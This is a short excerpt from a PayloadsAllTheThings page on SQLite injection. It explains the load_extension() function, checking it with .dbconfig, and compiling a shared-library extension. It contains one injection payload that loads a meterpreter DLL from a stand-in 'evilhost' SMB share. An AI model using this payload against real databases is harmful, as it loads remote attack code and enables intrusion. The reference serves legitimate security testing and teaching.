:warning: SQLite's ability to load external shared libraries (extensions) is disabled by default in most environments. When enabled, SQLite can load a compiled module using the `load_extension()` SQL function:
SELECT load_extension('\\evilhost\evilshare\meterpreter.dll','DllMain');--In the sqlite3 command-line shell you can display runtime configuration with:
sqlite> .dbconfig
load_extension onIf you see `load_extension on` (or off), that indicates whether the shell's runtime currently permits loading shared-library extensions. A SQLite extension is simply a native shared library,typically a `.so` file on Linux or a `.dll` file on Windows, that exposes a special initialization function. When the extension is loaded, SQLite calls this function to register any new SQL functions, virtual tables, or other features provided by the module. To compile a loadable extension on Linux, you can use:
gcc -g -fPIC -shared demo.c -o demo.soSource: SQL Injection/SQLite Injection.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.